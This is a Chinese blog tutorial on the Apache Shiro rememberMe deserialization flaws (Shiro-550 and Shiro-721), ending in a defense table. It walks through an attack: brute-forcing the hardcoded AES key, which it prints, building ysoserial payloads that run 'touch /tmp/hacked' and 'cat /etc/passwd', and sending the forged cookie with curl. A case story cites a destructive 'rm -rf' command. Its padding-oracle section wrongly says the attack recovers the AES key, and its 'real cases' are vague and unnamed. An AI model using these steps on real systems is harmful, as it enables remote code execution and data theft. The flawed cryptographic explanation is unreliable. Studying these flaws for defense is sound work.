ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)
- 开源代码
- 2025-09-14 22:45:02

一、前言
Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。
本文将深入剖析 Shiro-550 和 Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。
二、Shiro 反序列化漏洞概述 1. Shiro-550(CVE-2016-4437)漏洞原理 (1)漏洞影响范围
Apache Shiro <= 1.2.4
默认使用 CookieRememberMeManager 处理 rememberMe Cookie
(2)漏洞原理Shiro-550 存在于 rememberMe 机制的处理流程:
用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。
服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。
问题:Shiro 默认使用的 AES 密钥是硬编码的!
攻击者可以通过 爆破密钥,伪造一个恶意的 rememberMe Cookie,执行远程代码。
2. Shiro-721(CVE-2019-12422)漏洞原理 (1)漏洞影响范围Apache Shiro < 1.4.2
(2)漏洞原理Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击:
攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥。
拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。
三、漏洞发现与利用 1. 如何发现 Shiro 漏洞? (1)观察 Set-Cookie 头部
如果 HTTP 响应中包含:
Set-Cookie: rememberMe=deleteMe说明目标网站使用了 Shiro,并可能存在漏洞。
(2)测试加密机制复制 rememberMe Cookie。
修改 Cookie 内容,观察返回是否包含 deleteMe,验证加密是否有效。
2. Shiro-550 攻击实战 (1)爆破密钥攻击者使用 shiro_attack.py 爆破默认密钥:
python shiro_attack.py --target http://example --keylist shiro_keys.txt如果成功,返回密钥:
kPH+bIxk5D2deZiIxcaaaA== (2)生成恶意 Cookie使用 ysoserial 生成恶意 Payload:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe Cookie。
(3)发送攻击请求 curl -X GET http://example -H "Cookie: rememberMe=<恶意cookie>"成功后,服务器会执行 touch /tmp/hacked,证明被攻击成功。
3. Shiro-721 攻击实战 (1)Padding Oracle 攻击攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥:
python padding_oracle_attack.py --target http://example --cookie "rememberMe=xyz..."如果服务器返回:
500 错误 → 说明猜错了,继续试。
200 OK → 说明密钥猜对了,成功解密!
(2)生成恶意 Cookie 并攻击 java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64然后替换 rememberMe,发送攻击请求,服务器执行命令。
四、实战案例 1. 某知名 CMS 被黑
某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==,成功执行:
rm -rf /var/ /html结果:整个网站首页被删光!
2. 金融网站数据泄露黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe,成功执行:
cat /etc/passwd结果:服务器所有用户信息被盗取!
五、防御措施 防御措施适用漏洞说明升级 ShiroShiro-550 / 721升级到 1.4.2+ 版本,漏洞已修复修改默认密钥Shiro-550避免使用 kPH+bIxk5D2deZiIxcaaaA==,随机生成新密钥禁用不必要的反序列化功能Shiro-550 / 721使用 JSON 存储用户信息,而非 Java 序列化检测 Padding Oracle 攻击Shiro-721监控异常 Cookie,请求不同错误返回码
六、总结
Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。
本篇文章从漏洞原理、发现方法到攻击演示,全面解析了 Shiro 反序列化漏洞,并提供了真实案例和防御措施。
如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀
ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)”
上一篇
              CSKlinux内网靶场
下一篇
              C++运算符重载的学习笔记
 
               
               
               
               
               
               
               
   
   
   
   
   
   
  ![[深度学习]卷积神经网络的概念,入门构建(代码实例)](/0pic/pp_03.jpg) 
   
   
   
   
   
  